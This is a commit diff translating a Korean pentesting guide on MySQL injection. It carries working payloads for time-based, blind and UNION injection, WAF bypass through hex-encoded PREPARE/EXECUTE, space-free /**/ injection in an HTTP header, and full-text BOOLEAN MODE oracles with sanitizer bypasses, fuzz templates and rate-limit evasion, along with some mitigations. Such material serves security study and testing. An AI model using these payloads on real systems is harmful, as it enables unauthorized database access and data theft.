Translated ['', 'src/pentesting-web/sql-injection/mysql-injection/README

This commit is contained in:
Translator 2025-10-01 00:49:02 +00:00
parent cd4009b8c1
commit 4d6a0cda0c

View File

@ -4,7 +4,7 @@
## Comments
## 주석
```sql
-- MYSQL Comment
# MYSQL Comment
@ -12,9 +12,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 흥미로운 기능
## 흥미로운 함수
### Confirm Mysql:
### Mysql 확인:
```
concat('a','b')
database()
@ -44,7 +44,7 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## 모든 인젝션
## 모든 injection
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
@ -52,24 +52,24 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## 흐름
"현대" 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"**로 대체할 수 있다는 점을 기억하세요 (이는 WAF를 우회하는 데 유용할 수 있습니다).
최신 버전의 **MySQL**에서는 "_**information_schema.tables**_"를 "_**mysql.innodb_table_stats**_**"** 대신 사용할 수 있다는 것을 기억하세요. (이는 WAFs를 우회하는 데 유용할 수 있습니다).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **오직 1 값**
### **값 1개만**
- `group_concat()`
- `Limit X,1`
### **블라인드 하나씩**
### **Blind 한 글자씩**
- `substr(version(),X,1)='r'` 또는 `substring(version(),X,1)=0x70` 또는 `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **블라인드 추가하기**
### **Blind 추가**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -77,7 +77,7 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## 열의 수 감지
## 컬럼 수 감지
간단한 ORDER 사용
```
@ -101,68 +101,68 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**여기에서 Mysql injection을 악용하여 SSRF를 얻는 다양한 옵션을 배워보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
**여기에서 다양한 옵션을 알아보세요** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
## WAF 우회 기법
## WAF bypass tricks
### Prepared Statements를 통한 쿼리 실행
### Executing queries through Prepared Statements
스택 쿼리가 허용되는 경우, 실행하려는 쿼리의 16진수 표현을 변수에 할당하고 (SET을 사용하여) PREPARE 및 EXECUTE MySQL 문을 사용하여 궁극적으로 쿼리를 실행함으로써 WAF를 우회할 수 있을 수 있습니다. 다음과 같은 방식입니다:
stacked queries가 허용될 경우, 실행하려는 쿼리의 hex representation을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용해 결국 그 쿼리를 실행함으로써 WAFs를 우회할 수 있습니다. 예:
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
더 많은 정보는 [이 블로그 게시물](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)을 참조하세요.
자세한 내용은 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)를 참조하세요.
### Information_schema 대
### Information_schema 대체 방법
"현대" 버전의 **MySQL**에서는 _**information_schema.tables**_를 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다.
기억하세요: "modern" 버전의 **MySQL**에서는 _**information_schema.tables**_을 _**mysql.innodb_table_stats**_ 또는 _**sys.x$schema_flattened_keys**_ 또는 **sys.schema_table_statistics**로 대체할 수 있습니다
### MySQLinjection에서 쉼표 없이
### MySQLinjection 쉼표 없이
쉼표를 사용하지 않고 2개의 열 선택하기 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
쉼표를 사용하지 않고 2개의 컬럼 선택 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 열 이름 없이 값 검색하
### 컬럼 이름 없이 값 가져오
어떤 시점에 테이블의 이름은 알지만 테이블 안의 열 이름은 모를 경우, 다음과 같은 방법으로 열의 개수를 찾으려고 시도할 수 있습니다:
테이블 이름은 알고 있지만 테이블 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행해서 컬럼이 몇 개인지 알아볼 수 있습니다:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
두 개의 열이 있다고 가정할 때 (첫 번째 열은 ID이고 두 번째 열은 플래그입니다), 문자 하나씩 시도하여 플래그의 내용을 무차별 대입으로 시도해 볼 수 있습니다:
두 개의 열이 있다고 가정하고(첫 번째가 ID이고 다른 하나가 flag인 경우), flag의 내용을 문자 하나씩 bruteforce하여 시도해 볼 수 있습니다:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
더 많은 정보는 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)에서 확인하세요.
추가 정보: [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### SPACES 없이 주입하기 (`/**/` 주석 트릭)
### SPACES 없이 Injection (`/**/` comment trick)
일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수를 사용하여 사용자 입력을 정리하거나 구문 분석하며, 이 함수는 **첫 번째 공백 문자에서 멈춥니다**.
MySQL`/**/` 시퀀스를 주석 *및* 공백으로 처리하므로, 쿼리를 구문적으로 유효하게 유지하면서 페이로드에서 일반 공백을 완전히 제거하는 데 사용할 수 있습니다.
일부 애플리케이션은 `sscanf("%128s", buf)`와 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이 함수들은 **첫 번째 공백 문자에서 멈춥니다**.
MySQL이 시퀀스 `/**/`를 주석 *그리고* 공백으로 처리하기 때문에, 이 표기를 이용하면 쿼리 문법을 유효하게 유지하면서 페이로드의 일반 공백을 완전히 제거할 수 있습니다.
공백 필터를 우회하는 시간 기반 블라인드 주입 예시:
예: time-based blind injection으로 space filter를 우회하는 방법:
```http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
```
데이터베이스가 수신하는 내용:
데이터베이스가 받는 형태는:
```sql
' OR SLEEP(5)-- -'
```
이것은 특히 유용합니다:
This is especially handy when:
* 제어 가능한 버퍼의 크기가 제한되어 있을 때 (예: `%128s`) 공백이 입력을 조기에 종료시킬 수 있습니다.
* 일반적인 공백이 제거되거나 구분자로 사용되는 HTTP 헤더 또는 다른 필드를 통해 주입할 때.
* `INTO OUTFILE` 원시와 결합하여 전체 사전 인증 RCE를 달성할 때 (MySQL File RCE 섹션 참조).
* 제어 가능한 버퍼의 크기가 제한되어 있을 때(예: `%128s`) 공백이 입력을 중간에 종료시킬 수 있습니다.
* HTTP headers 또는 일반 공백이 제거되거나 구분자로 사용되는 다른 필드를 통해 주입할 때.
* 완전한 pre-auth RCE를 달성하기 위해 `INTO OUTFILE` primitives와 결합될 때 (MySQL File RCE 섹션 참조).
---
### MySQL 역사
### MySQL 기록
MySQL에서 테이블을 읽어 다른 실행을 볼 수 있습니다: **sys.x$statement_analysis**
MySQL에서 테이블을 읽는 동안 수행된 다른 실행들을 볼 수 있습니다: **sys.x$statement_analysis**
### 버전 대안**s**
```
@ -170,7 +170,52 @@ mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## 다른 MYSQL 인젝션 가이드
## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
이것은 전형적인 SQL injection이 아닙니다. 개발자가 사용자 입력을 `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`에 전달할 때, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행합니다. 많은 WAF/SAST 규칙은 따옴표를 깨는 것에만 집중해 이 점을 놓칩니다.
Key points:
- Operators are evaluated inside the quotes: `+` (반드시 포함), `-` (포함하지 않아야 함), `*` (후행 와일드카드), `"..."` (정확한 문구), `()` (그룹화), `<`/`>`/`~` (가중치). See MySQL docs.
- This allows presence/absence and prefix tests without breaking out of the string literal, e.g. `AGAINST('+admin*' IN BOOLEAN MODE)` to check for any term starting with `admin`.
- Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.
Example query built by the backend:
```sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
```
애플리케이션이 result set이 비었는지에 따라 다른 응답(예: redirect vs. error message)을 반환한다면, 그 동작은 Boolean oracle이 되어 숨겨진/삭제된 제목과 같은 비공개 데이터를 열거하는 데 사용할 수 있다.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: 백엔드가 단어당 12개의 꼬리 문자를 `(\b.{1,2})(\s)|(\b.{1,2}$)` 같은 정규식으로 잘라낸다면, `prefix*ZZ`를 제출하라. cleaner는 `ZZ`만 잘라내고 `*`는 남겨두므로 `prefix*`가 유지된다.
- Early-break stripping: 코드가 단어별로 연산자를 제거하지만 길이 ≥ min length인 토큰을 찾으면 처리를 중단한다면, 두 개의 토큰을 보낸다: 첫 번째는 길이 임계값을 충족하는 정크 토큰이고, 두 번째가 operator payload를 담는다. For example: `&&&&& +jack*ZZ` → after cleaning: `+&&&&& +jack*`.
Payload template (URL-encoded):
```
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
```
- `%26``&`, `%2B``+`입니다. 끝의 `xD` (또는 아무 두 문자)는 클리너에 의해 잘려 `{FUZZ}*`가 보존됩니다.
- 리다이렉트를 “match”로 처리하고 에러 페이지를 “no match”로 처리하세요. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요.
열거 작업 흐름:
1) 첫 글자 매치를 찾기 위해 `{FUZZ} = a…z,0…9`로 시작하여 `+a*`, `+b*`, … 를 사용하세요.
2) 각 긍정적 접두사마다 분기: `a* → aa* / ab* / …`. 전체 문자열을 복구할 때까지 반복합니다.
3) 앱이 플러드 제어를 적용하면 요청을 분산하세요 (프록시, 다중 계정 등).
왜 제목은 종종 leak하는데 본문은 그렇지 않은가:
- 일부 앱은 제목/주제에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면, 존재성 leaks가 발생합니다.
완화 방안:
- Boolean logic이 필요 없다면 `IN NATURAL LANGUAGE MODE`를 사용하거나 사용자 입력을 리터럴로 취급하세요 (이스케이프/따옴표로 다른 모드의 연산자를 비활성화).
- Boolean mode가 필요하다면 토큰화 후(중간 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자 (`+ - * " ( ) < > ~`)를 제거하거나 무력화하세요.
- MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때의 응답(타이밍/상태)을 통일하세요.
- 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2의 `CONTAINS`도 따옴표로 감싼 인수 안의 연산자를 파싱합니다.
참고:
- Prepared statements는 `REGEXP`나 검색 연산자의 의미적 남용으로부터 보호하지 않습니다. `.*` 같은 입력은 따옴표로 감싼 `REGEXP '.*'` 안에 있어도 여전히 관대한 정규식으로 남습니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요.
## Other MYSQL injection guides
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
@ -178,6 +223,10 @@ mysql> select version();
- [PayloadsAllTheThings MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [MySQL Full-Text Search Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html)
- [MySQL Full-Text Search Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html)
- [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html)
- [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/)
{{#include ../../../banners/hacktricks-training.md}}